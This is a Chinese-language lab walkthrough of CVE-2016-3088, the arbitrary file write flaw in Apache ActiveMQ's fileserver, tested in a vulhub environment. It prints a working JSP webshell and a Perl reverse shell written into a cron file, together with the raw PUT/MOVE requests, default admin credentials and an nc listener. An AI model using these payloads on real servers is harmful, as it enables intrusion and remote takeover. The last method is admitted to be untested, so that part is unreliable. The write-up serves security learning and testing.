CVE-2016-3088(ActiveMQ任意文件写入漏洞)

时间:2024-02-21 19:08:31

漏洞描述

        1、漏洞编号:CVE-2016-3088

        2、影响版本:Apache ActiveMQ 5.x~5.13.0

        在 Apache ActiveMQ 5.12.x~5.13.x 版本中,默认关闭了 fileserver 这个应用(不过,可以在conf/jetty.xml 中开启);在 5.14.0 版本后彻底删除了 fileserver 应用。【所以在渗透测试过程中要确定好 ActiveMQ 的版本,免去无用功】

漏洞介绍

        该漏洞出现在 fileserver 应用中,漏洞原理是 fileserver 支持写入文件(但不解析 jsp),同时支持移动文件(MOVE 请求)。所以我们只需写入一个文件,然后使用 MOVE 请求将其移动到任意位置,造成任意文件写入漏洞。

写入文件方法

  • 写入 webshell
  • 写入 cron 或 ssh key 等文件
  • 写入 jar 或 jetty.xml 等库和配置文件

启动漏洞环境

docker-compose up -d

docker-compose ps 

访问 WEB 页面,版本在漏洞影响范围内

方法一:写入 webshell

【该方法的使用条件】

1、需要知道 ActiveMQ 的绝对路径

2、需要能登录 admin 或者 api

【分析条件】

1、ActiveMQ 的绝对路径可以通过 http://your-ip:8161/admin/test/systemProperties.jsp 页面获取,不过该页面需要登录才能访问。

2、获取用户名和密码,可以通过弱口令、暴力破解、社工等方法(不过题目已经给出了默认用户名和密码 admin/admin,这里就省去了这个步骤)

【解题思路】

进入页面

下一步,上传 webshell

需要把 webshell 上传到 fileserver,然后才能从 fileserver 转移。因为 ActiveMQ 是个 java 程序,因此需要传个 jsp webshell

直接在上图页面抓包即可,下面是刚抓到包后的样子,接下来对数据包进行修改

这是我们的 webshell 代码

<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
 
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>

修改成下图所示,然后发送即可得到响应(204 表示操作成功)

然后在上面基础上继续修改该包,把 PUT 改成 MOVE ,然后在下一行添加

Destination: file:///opt/activemq/webapps/admin/1.jsp

用 MOVE 方法将 webshell 移动到 admin 所在文件夹,响应 204 表示操作成功

【当然了,移动到 api 下也是可以的,我这边移动到 admin 目录下】

接下来就可以使用蚁剑进行连接了【这里用的是 kali 中的蚁剑】

不知道 kali 中怎么使用蚁剑的看这里

VMware之kali安装中国蚁剑_kali如何打开蚁剑-CSDN博客

重点是记住 admin 应用是需要登录的,所以记得一定要在连接中添加 Authorization 头

Authorization:YWRtaW46YWRtaW4=

测试连接,连接成功

方法二:写入 ssh key

【前提条件】

1、需要运行 ActiveMQ 的用户有 root 权限

2、需要服务器开启了 ssh 服务,并且攻击机可以连接

【分析条件】

1、

发现该用户是 root 权限,条件一满足

2、可以使用 nmap 工具来探测服务器是否开启了 ssh 且可达

nmap -sV your-ip -p-

发现只开启了 8161、61616 端口且可达,没有开启 ssh 服务,所以条件二不满足,写入 ssh key 的方法行不通

方法三:写入 cron 拿反弹 shell

【前提条件】

1、需要运行 ActiveMQ 的用户有 root 权限

2、服务器开启了 cron 服务

3、运行 ActiveMQ 的用户有使用 crontab 的权限

【拓展】

1、cron 是 Linux 系统的守护进程,用于在特定时间自动执行重复任务。

2、标准 shell 是攻击者作为客户端去连接目标服务器;反弹 shell 是攻击者作为服务器,监听某端        口,而目标设备作为客户端主动连接攻击者

      应用场景:

      ①、目标机在局域网内

      ②、目标机 ip 地址是动态的

      ③、有防火墙等限制,目标机只能发请求,不能收请求

      ④、不确定目标机何时具备连接条件

【条件分析】

1、前面已经分析过了,确实是 root 权限

2、经过下列分析得到开启了 cron 服务(root 权限对该文件可读可写)

3、第三点条件默认情况是满足的,除非存在 cron.allow 或者 cron.deny 文件,但这两个文件在            vulhub 提供的漏洞环境中不存在,因此理论上可以写入 cron 拿反弹 shell

【cron.allow 文件和 cron.deny 文件】

cron.allow cron.deny 是限制 crontab 命令使用的用户名单。allow 是允许使用 crontab 命令的用户,deny 是不允许使用 crontab 命令的用户。

两份文件不一定都存在,在 Linux 中,会做如下规定:

(1)如果 cron.allow 文件存在但 cron.deny 文件不存在,那么在文件中写下的用户名,允许执行 crontab 命令。

(2)如果 cron.deny 文件存在但 cron.allow 文件不存在,那么在文件中写下的用户名,不允许执行 crontab 命令。

(3)如果两份文件都存在,那么只有 allow 文件具备优先权,只能使用 allow 文件来做限定用户。

(4)如果两份文件都不存在,那么会根据相关配置文件(depending on site-dependent configuration parameters),要么只有 root 用户允许执行该命令,要么所有的用户都能执行该命令。

【解题思路】

1、上传 cron 文件到 fileserver

2、把 cron 文件从 fileserver 移动到 /etc/cron.d/

2、攻击机上开启监听并等待反弹 shell 连接

反弹shell的方法总结 - FreeBuf网络安全行业门户

【内容截取自:vulhub ActiveMQ任意文件写入漏洞 (CVE-2016-3088) - FreeBuf网络安全行业门户

/etc/cron.d 攻略_51CTO博客_/etc/cron.hourly

反弹 shell 内容:

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="vps.ip";$p=vps.port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##

抓包上传

PUT /fileserver/cron.txt HTTP/1.1

Host: 0.0.0.0:8161

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Authorization: Basic YWRtaW46YWRtaW4=

Connection: close

Cookie: JSESSIONID=11siqqdhx6onj9w5jslkl7jiz

Upgrade-Insecure-Requests: 1

Content-Length: 254



*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.43.69";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

##

上传成功,移动文件到目标目录中

MOVE /fileserver/cron.txt HTTP/1.1

Destination: file:///etc/cron.d/root

Host: 0.0.0.0:8161

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Authorization: Basic YWRtaW46YWRtaW4=

Connection: close

Cookie: JSESSIONID=11siqqdhx6onj9w5jslkl7jiz

Upgrade-Insecure-Requests: 1

Content-Length: 254



*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.43.69";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

##

在终端输入

nc -l -p 7777 

输入完后等待即可

可以做一些操作

方法四:修改 jetty.xml

【前提条件】

1、需要知道 ActiceMQ 的绝对路径

2、需要有 jetty.xml 的写权限

【分析】

使用该方法主要是来突破 admin 应用和 api 应用的访问控制权限。大概就是修改 jetty.xml 文件。使 admin 和 api 应用不用登录,然后写入webshell

(通过大佬的文章还提供了另一种思路:修改 jetty-realm.properties 文件中的用户密码,不过由于 jetty.xml 中限制了用户名,所以修改 jetty-realm.properties 文件的方法还需要一个前提是知道用户名,这个方法相对上面那个麻烦)

【完整的攻击思路】

1、获取 ActiveMQ 的绝对路径

2、上传修改后的 jetty.xml 文件到 fileserver

3、转移上传的 jetty.xml 文件到 ActiveMQ 的绝对路径 /conf/jetty.xml,覆盖原本的 jetty.xml          文件,目的是绕过 admin 和 api 的登录

4、上传 webshell 到 fileserver

5、转移 webshell 到 admin 或 api 的目录下

6、连接 webshell

【目前我也没成功,也没有找到有成功的文章,都是写理论上可行,有推荐的兄弟和我说一下】